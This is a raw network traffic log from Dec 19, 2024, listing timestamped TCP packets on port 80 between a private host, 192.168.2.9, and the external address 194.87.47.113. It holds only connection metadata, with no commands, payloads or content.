Dec 19, 2024 08:01:07.160202980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.160213947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.160229921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.160258055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.161216974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.161370993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.161413908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.192112923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.192150116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.192186117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.192282915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.192358017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.192404985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.192449093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.192485094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.192528009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.193326950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.193381071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.193416119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.193428993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.194312096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.194360971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.194367886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.194402933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.194444895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.195221901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.195276022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.195310116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.195326090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.196233034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.196268082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.196283102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.196302891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.196343899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.197113037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.197168112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.197202921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.197215080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.198090076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.198137045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.198157072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.198191881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.198235035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.199042082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.199112892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.199146986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.199160099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.200201988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.200234890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.200248957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.200270891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.200316906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.200921059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.200974941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.201009035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.201015949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.201917887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.201967955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.201973915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.202024937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.202071905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.202862024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.202898979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.202935934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.202944994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.203820944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.203855991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.203871965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.203897953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.203939915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.204730988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.204786062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.204821110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.204833031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.205744982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.205790043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.205800056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.205835104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.205878973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.206671953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.206712008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.206748962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.206759930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.207609892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.207659006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.207664967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.207700968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.207746983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.208538055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.208592892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.208626986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.208640099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.209470987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.209525108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.209532022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.209566116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.209608078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.210412979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.210467100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.210500956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.210514069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.211432934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.211467028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.211479902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.211515903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.211559057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.212418079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.212455034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.212491035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.212500095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.213274002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.213320017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.213327885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.213363886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.213406086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.214222908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.214313030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.214345932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.214366913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.215190887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.215240955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.215250969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.215286970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.215327024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.216233969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.216274023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.216311932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.216316938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.217127085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.217220068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.217238903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.217258930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.217294931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.218045950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.218107939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.218143940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.218167067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.218980074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.219023943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.219043016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.219079971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.219121933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.220020056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.220057964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.220096111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.220097065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.263891935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.348908901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.348948956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.348962069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.348993063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.349276066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.349308968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.349314928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.349322081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.349354029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.350229979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.350274086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.350286961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.350313902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.351180077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.351219893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.351226091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.351233006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.351264000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.352233887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.352262974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.352302074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.384000063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.384042025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.384057045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.384079933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.384443045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.384500980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.384532928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.384546995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.384581089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.385440111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.385456085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.385469913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.385490894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.386339903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.386384964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.386390924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.386406898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.386445999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.387341022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.387398958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.387412071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.387438059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.388238907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.388278008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.388278961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.388292074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.388324976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.389188051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.389219999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.389234066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.389262915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.390134096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.390170097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.390171051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.390182972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.390218019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.391108990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.391139030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.391155005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.391184092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.392060041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.392095089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.392096996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.392108917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.392141104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.392986059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.393033028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.393045902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.393066883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.393944979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.393990040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.393990040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.394004107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.394035101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.394895077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.394927979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.394941092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.394961119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.395843983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.395874977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.395889044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.395891905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.395941973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.396800041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.396826982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.396841049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.396866083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.397753000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.397792101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.397811890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.397826910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.397859097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.398680925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.398746967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.398761034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.398788929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.399647951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.399679899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.399688005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.399694920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.399732113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.400765896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.400779963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.400793076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.400815010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.401536942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.401582956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.401590109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.401603937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.401691914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.402553082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.402637005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.402648926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.402679920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.403458118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.403493881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.403496027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.403510094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.403543949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.404608965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.404624939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.404638052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.404731035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.405339956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.405380964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.405391932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.405416965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.405447006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.406301975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.406347036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.406358004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.406383038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.407258034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.407296896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.407304049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.407325983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.407358885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.408225060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.408327103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.408339024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.408363104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.409174919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.409203053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.409215927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.409239054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.409266949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.410311937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.410346985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.410360098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.410439968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.411101103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.411145926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.411156893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.411170006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.411197901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.412038088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.412065029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.412076950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.412118912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.540930986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.540958881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.541049957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.541146994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.541146994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.541161060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.541183949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.542006969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.542058945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.542062044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.542074919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.542108059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.542957067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.542978048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.542989969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.543025017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.543926954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.543956995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.543968916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.543977022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.544009924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.544820070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.576245070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.576267004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.576281071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.576293945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.576324940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.576656103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.576678991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.576693058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.576714039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.577567101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.577615976 CET	49739	80	192.168.2.9	194.87.47.113
